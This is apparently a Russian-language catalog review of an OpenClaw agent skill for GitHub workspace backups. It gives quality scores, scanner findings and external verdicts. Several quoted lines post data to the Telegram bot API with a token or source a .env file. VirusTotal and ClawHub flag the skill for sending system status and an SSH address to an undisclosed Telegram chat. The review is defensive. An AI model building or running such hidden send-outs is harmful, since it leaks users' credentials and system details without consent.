SKILLEMALL.ai
EN Войти

BC github-backup

Automate OpenClaw workspace backups and skill version control to the private GitHub repo `nz365guy/openclaw-backup`. Use this when staging/committing workspace changes, rotating the PAT, or running the backup script to push updates.

ClawHub Agent Skills автор: Mark Smith v1.0.0 6 файлов · 4 скрипта тело ≈ 695 токенов Открыть источникclawhub.ai↗ проанализирован 2 дн назад

Как процесс C 59/100 · Есть пробелы — слабые места: результат и критерий готовности, входы и предусловия, повторный запуск

ПроцедураGitHubРазработкаТексты и документытип и темы размечены автоматически по тексту скилла
Запускается в: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Технический рейтинг
B
82/100
безопасность, качество, тесты
Безопасность 60%
83
Качество 40%
81
Прогон на моделях
не было
Процессный рейтинг
C
59/100
Есть пробелы
Результат и критерий готовности вес 14
0
Входы и предусловия вес 11
0
Отчётность по ходу вес 2
0
три самых слабых из десяти параметров · все десять

Чем это грозит

Находки средней серьёзности: скорее всего скилл честный, но прочитайте, что именно насторожило сканер.

Утечка данных средняя серьёзность

Ниже описан худший случай для этой категории. Здесь находка средней серьёзности: guard увидел признак, но не доказательство.

Если установить

Инструкции или скрипты отправляют данные наружу: переменные окружения, ключи, содержимое файлов, историю чата. Вы можете не заметить этого в диалоге, потому что агент выполнит отправку как «часть задачи».

Автору

Если отправка не нужна для задачи, уберите её: каталоги помечают такие скиллы как подозрительные и снимают с выдачи. Если нужна, назовите адрес явно, объясните, что именно уходит, и дайте пользователю выключатель.

Как улучшить

    Для прогона на моделях — необязательно
    • Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
    • spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.

    Находки guard · 9

    ✓ Критических и высоких находок нет

    Средние и низкие: 9
    • средняя Утечка данных net-credential-use scripts/heartbeat.sh:84
      Учётные данные используются в сетевом вызове (проверьте, что адрес — нужный сервис)
      curl -s -X POST "https://api.telegram.org/bot${BOT_TOKEN}/sendMessage" \
    • средняя Утечка данных net-credential-use scripts/watchdog.sh:32
      Учётные данные используются в сетевом вызове (проверьте, что адрес — нужный сервис)
      curl -s -X POST "https://api.telegram.org/bot${BOT_TOKEN}/sendMessage" \
    • низкая Утечка данных read-dotenv references/repo-setup.md:12
      Чтение файла .env (определение детектора / чёрного списка)
      - Rotate the token by updating `.env.local`, then run `source .env.local` (or restart the shell) before the next push.
      детектор
    • низкая Утечка данных read-dotenv references/repo-setup.md:22
      Чтение файла .env
      source .env.local
    • низкая Утечка данных net-credential-use references/repo-setup.md:23
      Учётные данные используются в сетевом вызове (проверьте, что адрес — нужный сервис) (адрес назначения — известный публичный сервис)
      curl -s -H "Authorization: token ${GITHUB_TOKEN}" https://api.github.com/user | jq '.login'
      известный сервис
    • низкая Утечка данных exfil-webhook-url scripts/heartbeat.sh:84
      URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес) (значение-заглушка)
      curl -s -X POST "https://api.telegram.org/bot${BOT_TOKEN}/sendMessage" \
      заглушка
    • низкая Утечка данных exfil-webhook-url scripts/watchdog.sh:32
      URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес) (значение-заглушка)
      curl -s -X POST "https://api.telegram.org/bot${BOT_TOKEN}/sendMessage" \
      заглушка
    • низкая Утечка данных read-dotenv SKILL.md:12
      Чтение файла .env (определение детектора / чёрного списка)
      1. **Auth loaded** – `source .env.local` to expose `GITHUB_TOKEN` (repo+workflow scopes). Never commit `.env.local`.
      детектор
    • низкая Утечка данных read-dotenv SKILL.md:34
      Чтение файла .env
      source .env.local

    Просканировано файлов: 6. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.

    По спецификации Agent Skills

    ✓ По спецификации Agent Skills замечаний нет

    Процессный рейтинг: все десять параметров 59/100

    • 0Результат и критерий готовности. Не сказано, что считать результатом
    • 0Входы и предусловия. Не сказано, что нужно иметь на входе
    • 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
    • 30Повторный запуск. Изменяющих операций: 9, без проверки текущего состояния
    • 60Инструменты и файлы. Используются инструменты (bash, web), но во frontmatter они не объявлены
    • 70Когда включается. Сказано, когда применять, но не сказано, когда не стоит
    • 100Шаги. Шагов: 16
    • 100Ошибки и развилки. Развилок: 1, есть раздел про ошибки
    • 100Согласованность. Имя и обязательные поля на месте
    • 100Стоимость исполнения. Тело инструкции 695 токенов

    Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.

    Сигналы качества

    • +5В description нет примеров фраз, по которым скилл должен срабатывать
    • +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
    • +3Формат ответа не описан: модель каждый раз решает сама
    • -4Абсолютные локальные пути (C:\Users, /home/…): скилл не переносим
    • -33 из 4 скриптов не упомянуты в SKILL.md
    • +1Лицензия не указана
    • +2Инструкции на одном языке
    • +3Длина description 232 символов: достаточно сигнала, не съедает бюджет
    • +4Структура: 6 заголовков
    • +3Пошаговые инструкции: 16 пунктов
    • +4Есть примеры (3 блоков кода)
    • +4Справочные файлы упоминаются в инструкциях (1 из 1)

    База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 81.

    Внешние проверки

    ClawHub: suspicious
    The backup skill contains extra monitoring scripts that can send local system status and an SSH address to a hardcoded Telegram chat, which is not disclosed by the skill’s stated backup purpose.
    LLM: suspicious (high) · VirusTotal: malicious · 28 мая 2026 г.